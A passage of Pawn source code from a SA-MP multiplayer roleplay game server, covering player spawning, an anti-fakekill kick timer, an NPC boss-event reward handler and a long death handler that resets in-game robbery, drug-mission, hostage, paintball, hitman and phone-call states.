		  if(SchoolSpawn[playerid] == 0)
		  {
			 SetPlayerVirtualWorld(playerid, 0);
			 SetPlayerToTeamColor(playerid);
			 SetPlayerPos(playerid, 1174.0846,1351.0155,10.9219);
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
			 SetPlayerFacingAngle(playerid, 180);
			 SetPlayerInterior(playerid,0);
		  }
		  else if(SchoolSpawn[playerid] == 1)
		  {
			 SetPlayerVirtualWorld(playerid, 0);
			 SetPlayerToTeamColor(playerid);
			 SetPlayerPos(playerid, 413.9613,2536.5122,19.1484);
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
			 SetPlayerFacingAngle(playerid, 180);
			 SetPlayerInterior(playerid,0);
		  }
		  return 1;
	   }
	   if ((gTeam[playerid]) == TEAM_CIV)
	   {
		  SetPlayerVirtualWorld(playerid, 0);
		  SetPlayerToTeamColor(playerid);
		  //SetPlayerPos(playerid,1714.988469,-1872.208374,13.566562);//rentmotor Atm
			SetPlayerPos(playerid,1641.9963,-2239.7080,13.4964);// Spawn Orginaal
		  SetPlayerFacingAngle(playerid, 0);
		  SetPlayerInterior(playerid,0);
		  Mahal[playerid] = 9999;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	}
	return 1;
}
forward SeteSkin(playerid);
public SeteSkin(playerid) {
SetPlayerSkin(playerid, 62);
}
forward BedeGun(playerid);
public BedeGun(playerid) {
	if(pbdg > pbsl && pbdg > pbsg && pbdg > pbss && pbdg > pbcs && pbdg > pbmp && pbdg > pbsr && pbdg > pbak && pbdg > pbm4 && pbdg > pbcr)
	{GivePlayerKolang(playerid, 24, 2000);}

	else if(pbsl > pbdg && pbsl > pbsg && pbsl > pbss && pbsl > pbcs && pbsl > pbmp && pbsl > pbsr && pbsl > pbak && pbsl > pbm4 && pbsl > pbcr)
	{GivePlayerKolang(playerid, 23, 2000);}

	else if(pbsg > pbdg && pbsg > pbsl && pbsg > pbss && pbsg > pbcs && pbsg > pbmp && pbsg > pbsr && pbsg > pbak && pbsg > pbm4 && pbsg > pbcr)
	{GivePlayerKolang(playerid, 25, 2000);}

	else if(pbss > pbdg && pbss > pbsl && pbss > pbsg && pbss > pbcs && pbss > pbmp && pbss > pbsr && pbss > pbak && pbss > pbm4 && pbss > pbcr)
	{GivePlayerKolang(playerid, 26, 2000);}

	else if(pbcs > pbdg && pbcs > pbsl && pbcs > pbss && pbcs > pbsg && pbcs > pbmp && pbcs > pbsr && pbcs > pbak && pbcs > pbm4 && pbcs > pbcr)
	{GivePlayerKolang(playerid, 27, 2000);}

	else if(pbmp > pbdg && pbmp > pbsl && pbmp > pbss && pbmp > pbcs && pbmp > pbsg && pbmp > pbsr && pbmp > pbak && pbmp > pbm4 && pbmp > pbcr)
	{GivePlayerKolang(playerid, 29, 2000);}

	else if(pbsr > pbdg && pbsr > pbsl && pbsr > pbss && pbsr > pbcs && pbsr > pbmp && pbsr > pbsg && pbsr > pbak && pbsr > pbm4 && pbsr > pbcr)
	{GivePlayerKolang(playerid, 34, 2000);}

	else if(pbak > pbdg && pbak > pbsl && pbak > pbss && pbak > pbcs && pbak > pbmp && pbak > pbsr && pbak > pbsg && pbak > pbm4 && pbak > pbcr)
	{GivePlayerKolang(playerid, 30, 2000);}

	else if(pbm4 > pbdg && pbm4 > pbsl && pbm4 > pbss && pbm4 > pbcs && pbm4 > pbmp && pbm4 > pbsr && pbm4 > pbak && pbm4 > pbsg && pbm4 > pbcr)
	{GivePlayerKolang(playerid, 31, 2000);}

	else if(pbcr > pbdg && pbcr > pbsl && pbcr > pbss && pbcr > pbcs && pbcr > pbmp && pbcr > pbsr && pbcr > pbak && pbcr > pbm4 && pbcr > pbsg)
	{GivePlayerKolang(playerid, 33, 2000);}
	else {GivePlayerKolang(playerid, 31, 2000);GivePlayerKolang(playerid, 27, 2000);}
}
new AntiFakekill[MAX_PLAYERS];
forward AntiFakekillTimer(playerid);
public AntiFakekillTimer(playerid)
{
	AntiFakekill[playerid]--;
	if(AntiFakekill[playerid] > 2)
	{
		new string[144];
		new name[MAX_PLAYER_NAME];
		GetPlayerName(playerid, name, sizeof(name));
		format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected a FakeKill(#2) on %s(%d)(Kicked)",name,playerid);
		SendAdminMessage(COLOR_AdminWarn, string);
		KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to FakeKill");
	}
	return 1;
}

public FCNPC_OnDeath(npcid, killerid, weaponid)
{
// BOSS by Sina
	if(npcid==Boss&&BossArea!=-1)
	{
		DestroyDynamicArea(BossArea);
		BossArea=-1;
		DestroyDynamicArea(BossArea2);
		BossArea2=-1;
		DestroyDynamic3DTextLabel(BossLabel);
		BossLabel=Text3D:-1;
		DestroyDynamic3DTextLabel(AngelLabel);
		AngelLabel=Text3D:-1;
		KillTimer(BossTimer);
		BossTimer=-1;
		DestroyBossTD();
		SetTimer("DestroyBoss",3000,false);
		SetTimer("DestroyAngel",3000,false);
		new str[144];
		new first=-1,second=-1,third=-1;
		GetTopBossKillers(first,second,third);
		format(str, sizeof(str), "[BOSS-EVENT]: {FFFFFF}1. %s, 2. %s, 3. %s.",(first!=-1)?(ReturnBossKillerScore(first)):("No-one"),(second!=-1)?(ReturnBossKillerScore(second)):("No-one"),(third!=-1)?(ReturnBossKillerScore(third)):("No-one"));
		SendClientMessageToAll(COLOR_SINAGHERMEZ,str);
		format(str,sizeof(str),"[BOSS-EVENT]: {FFFFFF}%s has got the prize of last shot in boss event.",PlayerInfo[killerid][pName]);
		SendClientMessageToAll(COLOR_SINAGHERMEZ,str);
		PINFO[killerid][pGold]+=5;
		SaveKonVal(killerid, "pGold", PINFO[killerid][pGold]);
 		PINFO[killerid][pBuff]+=45;
		SaveKonVal(killerid, "pBuff", PINFO[killerid][pBuff]);
		GivePlayerPool(killerid,5000);
		PINFO[killerid][pExp]+=3;
		SaveKonVal(killerid, "pExp", PINFO[killerid][pExp]);
		SCM(killerid,COLOR_LIGHTBLUE,"You have received 5 golds and $5,000 and 3 respect points and 45 buffs as the last shot prize.");
		//ThereIsBoss=false;
		ForEachPlayer(i)
		{
			BossSpawn[i]=false;
			if(BossScore[i]<1)continue;
			GivePlayerBossPrize(i,GetPlayerBossRank(i));
		}
		SendClientMessageToAll(COLOR_SINAGHERMEZ,"[BOSS-EVENT]: {FFFFFF}The boss event has been ended, rewards will be sent to winners.");
	}
// ---
if(npcid!=Boss)
{
if(!IsACop(killerid))
{
SCM(killerid, COLOR_SINARANG, "Now you can rob this shop. Remember you have 2 minutes.");
SCM(killerid, COLOR_SINARANG, "Note: Go to in front of cash register machine and use /shoprob.");
new BizzZ = GetPlayerVirtualWorld(killerid);
if(BizzZ == 82) Robbing[killerid] = 1;
if(BizzZ == 83) Robbing[killerid] = 2;
if(BizzZ == 84) Robbing[killerid] = 3;
SRTimer[killerid] = SetTimerEx("ShopRobbing", 120000, false, "i", killerid);
}
else if(IsACop(killerid))
{
SCM(killerid, COLOR_SINAGHERMEZ, "You shouldn't kill these people to rob.");
new strrs[144];
format(strrs, sizeof(strrs), "[Dep-Warn]: {0069FF}%s %s has killed Fanny Batter's Brothel shop's cashier",GetPlayerRank(killerid),PINFO[killerid][pName]);
SendRadioMessage(1, COLOR_BLUE, strrs);
SendRadioMessage(2, COLOR_BLUE, strrs);
SendRadioMessage(3, COLOR_BLUE, strrs);
RespawnNPCLS();
}
}
return 1;
}
public OnPlayerDeath(playerid, killerid, reason)
{
if(ImFararing[playerid]==1&&(Mahal[playerid]==2||ImInPrison[playerid]==1)){ImFararing[playerid]=0;StopPrisonAlarm();}
if(IHaveBuffs[playerid]==1){ResetBuffs(playerid);SCM(playerid, COLOR_SINAGHERMEZ, "All of your buffs deactivated cause of your death.");}
if(CantHoldGun[playerid]==1){CantHoldGun[playerid]=0;}
if(ShouldKill[playerid]!=0){ShouldKill[playerid]=0;}
if(OnDuel[playerid]==killerid){StopDuel(playerid, killerid, 1);}else if(OnDuel[playerid]!=INVALID_PLAYER_ID&&killerid==OnDuel[playerid]){StopDuel(playerid, killerid, 2);}
if(ManHostageDaram[playerid]!=9999)
{
new cht[144];
TogglePlayerControllable(ManHostageDaram[playerid], 1);
if(killerid==INVALID_PLAYER_ID)
{
format(cht, sizeof(cht), "%s who took you as a hostage dead, so you are free.", RPName(playerid));
}
else
{
format(cht, sizeof(cht), "%s killed %s who you were %s hostage, so you are free.", RPName(killerid), RPName(playerid), (PINFO[playerid][pSex]==1)?("his"):("her"));
}
SCM(ManHostageDaram[playerid], COLOR_SINAGHERMEZ, cht);
HostageTime[ManHostageDaram[playerid]]=0;
ManHostageAm[ManHostageDaram[playerid]]=9999;
ManHostageDaram[playerid]=9999;
}
if(ManHostageAm[playerid]!=9999)
{
new cht[144], taraf=ManHostageAm[playerid];
format(cht, sizeof(cht), "Your hostage %s dead so %s isn't your hostage now.", RPName(playerid), (PINFO[playerid][pSex]==1)?("he"):("she"));
SCM(taraf, COLOR_LIGHTRED, cht);
HostageTime[playerid]=0;ManHostageDaram[taraf]=9999;ManHostageAm[playerid]=9999;
}
if(killerid == NPCLS)
{
FCNPC_StopAim(NPCLS);
FCNPC_SetHealth(NPCLS, 250);
goftls = 0;
}
if(killerid == NPCLV)
{
FCNPC_StopAim(NPCLV);
FCNPC_SetHealth(NPCLV, 250);
goftlv = 0;
}
if(GetPlayerWantedLevel(playerid)>=1)
{
WantedTimerEZ[playerid] = 900;
PlayerTextDrawShow(playerid, WantedTTD[playerid]);
WantedKamKonTimerValid[playerid] = true;
}
if(RangerKir[playerid] == 1) {RemovePlayerAttachedObject(playerid, 0);RangerKir[playerid] = 0;}
	if(sGunner1 == playerid || sGunner2 == playerid || sRunner == playerid || sHacker == playerid)
	{
	WantedBede(playerid, 6, "Bank Robbing", "Suspicious for robbing bank");
	WantedBede(killerid, 6, "Bank Robbing", "Suspicious for robbing bank");
	new svsvs[80];
	if(ReadyPlayers <= 3)
	{
	format(svsvs, sizeof(svsvs), " %s(%i) has dead.", RPName(playerid), playerid);
	SendRobMessage(COLOR_ROB, svsvs);
	SendRobMessage(COLOR_ROB, "Rob mission failed.");
	StopRob();
	}
	if(ReadyPlayers == 4)
	{
	if(sGunner1 == playerid)
	{
	if(playerid == NewRobLeader)NewRobLeader=9999;
	sGunner1=9999;
	ReadyPlayers--;
	KiRafteAzRob=1;
	format(svsvs, sizeof(svsvs), " %s(%i) has dead.", RPName(playerid), playerid);
	SendRobMessage(COLOR_ROB, svsvs);
	SendRobMessage(COLOR_ROB, "If one more teammates dead, the mission will be failed.");
	}
	else if(sGunner2 == playerid)
	{
	if(playerid == NewRobLeader)NewRobLeader=9999;
	sGunner2=9999;
	ReadyPlayers--;
	KiRafteAzRob=2;
	format(svsvs, sizeof(svsvs), " %s(%i) has dead.", RPName(playerid), playerid);
	SendRobMessage(COLOR_ROB, svsvs);
	SendRobMessage(COLOR_ROB, "If one more teammates dead, the mission will be failed.");
	}
	else
	{
	format(svsvs, sizeof(svsvs), " %s(%i) has dead.", RPName(playerid), playerid);
	SendRobMessage(COLOR_ROB, svsvs);
	SendRobMessage(COLOR_ROB, "Rob mission failed.");
	StopRob();
	}
	}
	}
/*	if(OnPaintBall[playerid] == 0 && OnWar[playerid] == 9999 && (!IsACop(playerid) || (OnDuty[playerid] == 0 && IsACop(playerid))) && Reside[playerid] == 0) {
	BereJahanam[playerid]++;
	}
	if(OnSpray[playerid] == 1) {
	GangZoneStopFlashForAll(Sprayst[Spray[playerid]]);
	DarsadSpray[PINFO[playerid][pClan]][Spray[playerid]] -= DarsadPlayer[playerid];
	GameTextForPlayer(playerid, "~R~Unsuccessful !", 5000, 1);
	OnSpray[playerid] = 0;
	PlayerTextDrawHide(playerid, shackslog2);
	}
	HavingBall[playerid] = 0;
	if(HavingBall[playerid]) //Baller = 999;
	*/
	//SetTimerEx("JanJanJanz", 3000, 0, "i", playerid);
	if(ForceEnd[playerid]!=0){KillTimer(ForceEnd[playerid]); ForceEnd[playerid]=0;}
	if(ForceEndCop[playerid]!=0){KillTimer(ForceEndCop[playerid]); ForceEndCop[playerid]=0;}
	if(TimerToHackGates[playerid]!=0){KillTimer(TimerToHackGates[playerid]); TimerToHackGates[playerid]=0;}
	if((EventOrg == playerid) && (OnPaintBall[playerid] == 0))
	{
	EventTeleporter[playerid] = SetTimerEx("TeleportMeInEvent", 5000, false, "i", playerid);
	}
if(IsEventPlayer(playerid)){EventPlayerEx[playerid]=0;}
	
		if(WhoIsMissioner[playerid] == 1)
	{
OnDrugMission = 0;
if(SearchForBuyerTimer[playerid]!=0)KillTimer(SearchForBuyerTimer[playerid]);
if(DrugGrowTimer[playerid]!=0){KillTimer(DrugGrowTimer[playerid]);DrugGrowTimer[playerid]=0;}
if(DontBeLate[playerid]!=0){KillTimer(DontBeLate[playerid]);DontBeLate[playerid]=0;}
WhichSelected[playerid] = 0;
MyBuyer[playerid] = "NULL";
WhoIsMissioner[playerid] = 0;
AllowToPickupDrug[playerid] = 0;
GramsIllicit[playerid] = 0;
OnCheckpoint[playerid] = 0;
CP[playerid] = 0;
DisablePlayerCheckpoint(playerid);
if(DontArriveSoon[playerid]!=0){KillTimer(DontArriveSoon[playerid]);DontArriveSoon[playerid]=0;}
HamleDrugs[playerid] = 0;
DestroyActor(DrugActor);
DestroyDynamic3DTextLabel(DrugActorName);
if(SohbatDrug3[playerid]!=0){KillTimer(SohbatDrug3[playerid]);SohbatDrug3[playerid]=0;}
if(SohbatDrug2[playerid]!=0){KillTimer(SohbatDrug2[playerid]);SohbatDrug2[playerid]=0;}
if(SohbatDrug1[playerid]!=0){KillTimer(SohbatDrug1[playerid]);SohbatDrug1[playerid]=0;}
if(SohbatDrug4[playerid]!=0){KillTimer(SohbatDrug4[playerid]);SohbatDrug4[playerid]=0;}
AllowToPickupDrug[playerid] = 0;
SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",6);
WantedKamKonTimerValid[playerid] = true;
WantedTimerEZ[playerid] = 900;
PlayerTextDrawShow(playerid, WantedTTD[playerid]);
new sendradio[144];
format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
SendFamilyMessage(1, COLOR_BLUE, sendradio);
SendFamilyMessage(2, COLOR_BLUE, sendradio);
SendFamilyMessage(3, COLOR_BLUE, sendradio);
SCM(playerid, COLOR_SINAGHERMEZ, "Drug delivery mission failed!");
	}
	
	if(flymode[playerid] == 1)
	{
	flycheat[playerid] = 0;
	flymode[playerid] = 0;
	StopFly(playerid);
	FlyMikone[playerid] = false;
	}
	DestroyObject(Payambar[playerid]);
	if(EventHave == true)
	{
	if(EventPlayer[playerid] == 1)
	{
	//SCM(playerid, COLOR_SINA2, "EVENT:{FF0000} You're no longer in event because you are dead.");
	EventPlayer[playerid] = 0;
	}
	}
	if(WhoKill[playerid] == 1) {
	if(killerid == INVALID_PLAYER_ID) {
	SCM(playerid, COLOR_LIGHTRED, "[Server-Side]: Unknown(Usually Server) was killed you by Unknown(Unknown) in Distance: Unknown");
	}
	else {
	new sendername[25];
	new mordename[25];
	GetPlayerName(killerid, sendername, sizeof(sendername));
	GetPlayerName(playerid, mordename, sizeof(mordename));
	new Float:x, Float:y, Float:z;
	GetPlayerPos(killerid, x, y, z);
	new Float: distance = GetPlayerDistanceFromPoint(playerid, x, y, z);
	new weaponid = GetPlayerWeapon(killerid);
	new wepen[50];
	GetWeaponName(weaponid, wepen, 50);
	new string[85];
	new madars[85];
	format(string, sizeof(string), "[Who-Kill]: %s was killed you by %s(%d) in Distance: %.2f", sendername, wepen, weaponid, distance);
	SCM(playerid, COLOR_LIGHTRED, string);
	new sndch[144];
	if(MightyM4[killerid]||MightyDeagle[killerid]||MightyMP5[killerid])
	{
	format(sndch, sizeof(sndch), "Low-level buffs: %s %s %s", (MightyM4[killerid])?(GetBuffName(1)):(""), (MightyDeagle[killerid])?(GetBuffName(2)):(""), (MightyMP5[killerid])?(GetBuffName(3)):(""));
	SCM(playerid, 0x00FF00FF, sndch);
	}
    if(DeadlyM4[killerid]||DeadlyDeagle[killerid]||DeadlyMP5[killerid])
    {
    format(sndch, sizeof(sndch), "Med-level buffs: %s %s %s %s", (DeadlyM4[killerid])?(GetBuffName(4)):(""), (DeadlyDeagle[killerid])?(GetBuffName(5)):(""), (DeadlyMP5[killerid])?(GetBuffName(6)):(""), (SuperMan[killerid])?(GetBuffName(12)):(""));
    SCM(playerid, 0xFFFF00FF, sndch);
    }
    if(LessDamaged[killerid]||ExtraDamage1[killerid]||ExtraDamage2[killerid]||ExtraDamage3[killerid]||LuckyTime[killerid])
    {
    format(sndch, sizeof(sndch), "High-level buffs: %s %s %s %s %s", (LessDamaged[killerid])?(GetBuffName(7)):(""), (ExtraDamage1[killerid])?(GetBuffName(8)):(""), (ExtraDamage2[killerid])?(GetBuffName(9)):(""), (ExtraDamage3[killerid])?(GetBuffName(10)):(""), (LuckyTime[killerid])?(GetBuffName(11)):(""));
    SCM(playerid, 0xFF0000FF, sndch);
    }
	if(WhoKill[killerid] == 1)
	{
	format(madars, sizeof(madars), "[Who-Kill]: You have killed %s by %s(%d) in Distance: %.2f", mordename, wepen, weaponid, distance);
	SCM(killerid, COLOR_LIGHTRED, madars);
	}
	}
	}
	if(OnPaintBall[playerid] != 0)
	   {
		  if(killerid != INVALID_PLAYER_ID)
		  {
			 PaintBallKills[killerid] ++;
			 PaintBallDeath[playerid] ++;
			 new killedige[22];
			 format(killedige , sizeof(killedige) , "Kills___________%d", PaintBallKills[killerid]);
			 PlayerTextDrawSetString(killerid, PaintKills[killerid], killedige);
			 format(killedige , sizeof(killedige) , "Death__________%d", PaintBallDeath[playerid]);
			 PlayerTextDrawSetString(playerid, PaintDeath[playerid], killedige);
			 new sttr[256];format(sttr,sizeof sttr,"You have %i kills now.",PaintBallKills[killerid]);SCM(killerid,COLOR_WHITE,sttr);
			 if(PaintBallKills[killerid] > PaintBallLeadKills)
			 {
				new string[256];
				new killer[MAX_PLAYER_NAME];
				PaintBallLeadKills = PaintBallKills[killerid];
				GetPlayerName(killerid, killer, sizeof(killer));
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
					   if(OnPaintBall[i] != 0)
					   {
						  format(string, sizeof(string), "%s is in the lead with %d kills.",killer,PaintBallLeadKills);
						  SendMessage(i, COLOR_WHITE, string);
						  PaintBallWinner = killerid;
						  new bestname[25];
						  format(bestname, sizeof(bestname), "%s", killer);
						  TextDrawSetString(PaintName, bestname);
						  format(bestname, sizeof(bestname), "Most Kills_________%d", PaintBallLeadKills);
						  TextDrawSetString(PaintMostKills, bestname);
					   }
					}
				}
			 }
		  }
		  return 1;
	}

	SetPlayerColor(playerid,COLOR_GRAD2);
	Mahal[playerid] = 9999;
	TooHouse[playerid] = 9999;
	TooBiz[playerid] = 9999;
	if(GetPlayerWantedLevel(playerid) >= 1)
	   {
		  new string[128];
		  new price = GetPlayerWantedLevel(playerid) * 500;
		  for(new i = 0; i < Akharish; i++)
		  {
			 if(killerid != INVALID_PLAYER_ID)
			{
				if(PINFO[killerid][pMember] == 1 || PINFO[killerid][pLeader] == 1 || PINFO[killerid][pMember] == 2 || PINFO[killerid][pLeader] == 2 || PINFO[killerid][pMember] == 3 || PINFO[killerid][pLeader] == 3 || PINFO[killerid][pMember] == 17 || PINFO[killerid][pLeader] == 17)
				{
			 if(IsPlayerConnected(i))
			 {
				if((gTeam[i] == TEAM_COP || IsACop(killerid)) && OnDuty[i] != 0)
					{
					format(string, sizeof(string), "~w~Running Suspect~r~Killed~n~Bonus~g~$%d", price);
					GameTextForPlayer(killerid, string, 5000, 1);
					PlayerPlaySound(killerid, 1058, 0.0, 0.0, 0.0);
					GivePlayerPool(playerid, - price);
					PlayerInfo[playerid][pWantedDeaths] += 1;
					GivePlayerPool(killerid, price);
					//FreezePlayer(playerid);
					SaveKonVal(playerid, "pWantedDeaths", PlayerInfo[playerid][pWantedDeaths]);
					if(GetPlayerWantedLevel(playerid) <= 6) PlayerInfo[playerid][pJailTime] = (GetPlayerWantedLevel(playerid))*(1000);
					else PlayerInfo[playerid][pJailTime] = 6000;
					SaveKonVal(playerid, "pJailTime", PINFO[playerid][pJailTime]);
					if(ImFararing[playerid]==1)
					{
					ImFararing[playerid]=0;
					if(FararTime[playerid]!=0){KillTimer(FararTime[playerid]);FararTime[playerid]=0;}
					PINFO[playerid][pJailTime]+=6000;
					SaveKonVal(playerid, "pJailTime", PINFO[playerid][pJailTime]);
					YekiFararKarde=0;
					StopPrisonAlarm();
					}
					SetPlayerWantedLevel(playerid, 0);
					//SetPlayerToJail(playerid);
					// By SiNaGaMeR
						//SetPlayerVirtualWorld(playerid,10);
					   //SetPlayerFacingAngle(playerid,90);
					   //SetPlayerInterior(playerid, 1);
					   Mahal[playerid] = 2;
					   TooHouse[playerid] = 9999;
					   TooBiz[playerid] = 9999;
					   	PlayerInfo[killerid][pFAct2] += 1;
				        SaveKonVal(killerid, "pFAct2", PINFO[killerid][pFAct2]);
					   // End of SiNaGaMeR
					new sendername[MAX_PLAYER_NAME];
						GetPlayerName(playerid, sendername, sizeof(sendername));
					   format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s was processed got killed by %s %s for %d seconds.",sendername,  GetPlayerRank(killerid),PINFO[killerid][pName], PlayerInfo[playerid][pJailTime]);
						SendRadioMessage(1, COLOR_BLUE, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s was processed got killed by %s %s for %d seconds.",sendername,  GetPlayerRank(killerid),PINFO[killerid][pName], PlayerInfo[playerid][pJailTime]);
						SendRadioMessage(2, COLOR_BLUE, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s was processed got killed by %s %s for %d seconds.",sendername,  GetPlayerRank(killerid),PINFO[killerid][pName], PlayerInfo[playerid][pJailTime]);
						SendRadioMessage(3, COLOR_BLUE, string);
					format(string, sizeof(string), "You are in Jail for %d Seconds and lose $%d because of running away and getting shot by the Officer %s.", PlayerInfo[playerid][pJailTime], price, PINFO[killerid][pName]);
					SendMessage(playerid, COLOR_LIGHTRED, string);
					break;
				}
				}
			 }
		  }
	   }
	  }
	if(!FCNPC_IsValid(playerid))
	{
	   if(gettime() - StartDeathTick[playerid] < 5) //5 seconds
	   {
		  CountDeaths[playerid] ++;
		  if(CountDeaths[playerid] == 10)
		  {
			 CountDeaths[playerid] = 0;
			 return 1;
		  }
	   }
	   else CountDeaths[playerid] = 1;
	   StartDeathTick[playerid] = gettime();
	}
	PlayDeathingCameraE[playerid] = true;
	PlayerOnDeathingE[playerid] = true;
	/*if(killerid != INVALID_PLAYER_ID)
	{
	   new str[256],wepname[60];
	   GetWeaponName(reason, wepname, 60);
	   format(str, 256, "Debug: Killed by %s(%i) with gun %s(%i)",PINFO[killerid][pName], killerid, wepname, reason);
	   SCM(playerid,COLOR_Good,str);
	}
	else
	{
	   new str[256],wepname[60];
	   GetWeaponName(reason, wepname, 60);
	   format(str, 256, "Debug: Killed by Server with gun %s(%i)", wepname, reason);
	   SCM(playerid,COLOR_Good,str);
	}*/
	new hiter = INVALID_PLAYER_ID;
	if(killerid != INVALID_PLAYER_ID)
	{
	   if(PINFO[killerid][pMember] == 8 || PINFO[killerid][pLeader] == 8)
	   {
		  if(AgentHiterID[playerid] == killerid)
		  {
			 if(AgentHitID[killerid] == playerid)
			 {
				new strlol[256];
				format(strlol,256,"You have been killed your contract successfully, Prize: $%s",FormatNumber(PINFO[playerid][pHeadValue]));
				SCM(killerid,COLOR_HITMAN,strlol);
				PINFO[killerid][pGetHitTime] = 0;
				SaveKonVal(killerid, "pGetHitTime", 0);
				GivePlayerPool(killerid,PINFO[playerid][pHeadValue]);
				AgentHitID[killerid] = INVALID_PLAYER_ID;
				AgentHiterID[playerid] = INVALID_PLAYER_ID;
				//SaveAccount(killerid);
				PINFO[playerid][pHeadValue] = 0;
				SaveKonVal(playerid, "pHeadValue", 0);
				PlayerInfo[killerid][pFAct1] += 1;
				SaveKonVal(killerid, "pFAct1", PINFO[killerid][pFAct1]);
				//SaveAccount(playerid);
				hiter = killerid;
			 }
		  }
	   }
	}
	if(OnRob[playerid] == true && RobLeader[playerid] == false)
	{
	   SCM(playerid,COLOR_SINA3,"You have been died, and failed on your mission.");
	   new strrali[256];format(strrali,256,"Mission ~r~Failed~n~~r~%s has been died",PINFO[playerid][pName]);
	   GameTextForPlayer(RobDriver[playerid],strrali,9000,0);
	   if(CP[RobDriver[playerid]] >= 2002001 && CP[RobDriver[playerid]] <= 2002009){DisablePlayerCheckpoint(RobDriver[playerid]);OnCheckpoint[RobDriver[playerid]] = 0;CP[RobDriver[playerid]] = 0;}
	   OnRob[RobDriver[playerid]] = false;
	   RobLeader[RobDriver[playerid]] = false;
	   for(new i = 0;i<RobMemberCount[RobDriver[playerid]];i++)
	   {
		  if(RobMember[RobDriver[playerid]][i] != playerid)
		  {
			 GameTextForPlayer(RobMember[RobDriver[playerid]][i],strrali,9000,0);
			 OnRob[RobMember[RobDriver[playerid]][i]] = false;
			 RobDriver[RobMember[RobDriver[playerid]][i]] = INVALID_PLAYER_ID;
		  }
	   }
	   RobMemberCount[RobDriver[playerid]] = 0;
	   for(new i = 0;i<MAX_PLAYERS;i++)
	   {
		  RobMember[RobDriver[playerid]][i] = INVALID_PLAYER_ID;
	   }
	   GameTextForPlayer(playerid,strrali,9000,0);
	   OnRob[playerid] = false;
	   RobDriver[playerid] = INVALID_PLAYER_ID;
	}
	if(OnRob[playerid] == true && RobLeader[playerid] == true)
	{
	   SCM(playerid,COLOR_SINA3,"You have been died, and failed on your mission.");
	   new strrali[256];format(strrali,256,"Mission ~r~Failed~n~~r~%s has been died",PINFO[playerid][pName]);
	   for(new i = 0;i<RobMemberCount[playerid];i++)
	   {
		  GameTextForPlayer(RobMember[playerid][i],strrali,9000,0);
		  OnRob[RobMember[playerid][i]] = false;
		  RobDriver[RobMember[playerid][i]] = INVALID_PLAYER_ID;
	   }
	   OnRob[playerid] = false;
	   if(CP[playerid] >= 2002001 && CP[playerid] <= 2002009){DisablePlayerCheckpoint(playerid);OnCheckpoint[playerid] = 0;CP[playerid] = 0;}
	   RobLeader[playerid] = false;
	   RobMemberCount[playerid] = 0;
	   for(new i = 0;i<MAX_PLAYERS;i++)
	   {
		  RobMember[playerid][i] = INVALID_PLAYER_ID;
	   }
	   RobDriver[playerid] = INVALID_PLAYER_ID;
	}
	if(IsPlayerConnected(killerid) && killerid != INVALID_PLAYER_ID)
	{
	   PINFO[killerid][pKills] ++;
	   SaveKonVal(killerid, "pKills", PINFO[killerid][pKills]);
	   //SaveAccount(killerid);
	}
	IsPlayerDeath[playerid] = true;
	TofAll[playerid] = 0;
	ResetPlayerKolang(playerid);
	ManMitoonamSkin[playerid] = 1;
	if(IsPlayerConnected(Mobile[playerid]))
	{
	   if(Mobile[playerid] != 9999 && Mobile[Mobile[playerid]] != 9999)
	   {
				new caller = Mobile[playerid];
				SendMessage(playerid,  COLOR_PURPLE, "The line just went dead. (You're death)");
				if(PINFO[playerid][pSex] == 1) SendMessage(caller,  COLOR_PURPLE, "The line just went dead. (He death)");
				if(PINFO[playerid][pSex] != 1) SendMessage(caller,  COLOR_PURPLE, "The line just went dead. (She death)");
				SetPlayerSpecialAction(caller, SPECIAL_ACTION_STOPUSECELLPHONE);
				RemovePlayerAttachedObject(caller, 0);
				RemovePlayerAttachedObject(playerid, 0);
				CellTime[playerid] = 90;
				CellTime[caller] = 90;
				Mobile[playerid] = 9999;
				Mobile[caller] = 9999;
				TimerRingTone[playerid] = 0;
				TimerRingTone[caller] = 0;
				PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
	   }
	   if(Mobile[playerid] != 9999 && CallWaiting[playerid] == 9999)
	   {
				new caller = Mobile[playerid];
				if(PINFO[playerid][pSex] == 1) SendMessage(caller,  COLOR_PURPLE, "Your conversation ended he came to death");
				if(PINFO[playerid][pSex] != 1) SendMessage(caller,  COLOR_PURPLE, "Your conversation ended she came to death");
				SendMessage(playerid,  COLOR_PURPLE, "Your conversation ended. You dead.");
				RemovePlayerAttachedObject(caller, 0);
				RemovePlayerAttachedObject(playerid, 0);
				CellTime[playerid] = 90;
				CellTime[caller] = 90;
				Mobile[playerid] = 9999;
				Mobile[caller] = 9999;
				TimerRingTone[playerid] = 0;
				TimerRingTone[caller] = 0;
				PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
				CallWaiting[caller] = 9999;
	   }
	   if(Mobile[playerid] == 9999 && CallWaiting[playerid] != 9999)
	   {
				new caller = CallWaiting[playerid];
				if(PINFO[playerid][pSex] == 1) SendMessage(caller,  COLOR_PURPLE, "Your conversation ended he came to death");
				if(PINFO[playerid][pSex] != 1) SendMessage(caller,  COLOR_PURPLE, "Your conversation ended she came to death");
				SendMessage(playerid,  COLOR_PURPLE, "Your conversation ended. You dead.");
				RemovePlayerAttachedObject(caller, 0);
				SetPlayerSpecialAction(caller, SPECIAL_ACTION_STOPUSECELLPHONE);
				CellTime[playerid] = 90;
				CellTime[caller] = 90;
				Mobile[playerid] = 9999;
				Mobile[caller] = 9999;
				TimerRingTone[playerid] = 0;
				TimerRingTone[caller] = 0;
				PlayerInfo[playerid][pSpeaker] = 0;//nemikhad
				PlayerInfo[caller][pSpeaker] = 0;//nemikhad
				CallWaiting[playerid] = 9999;
	   }
	}
	else
	{
	   if(Mobile[playerid] != 9999)
	   {
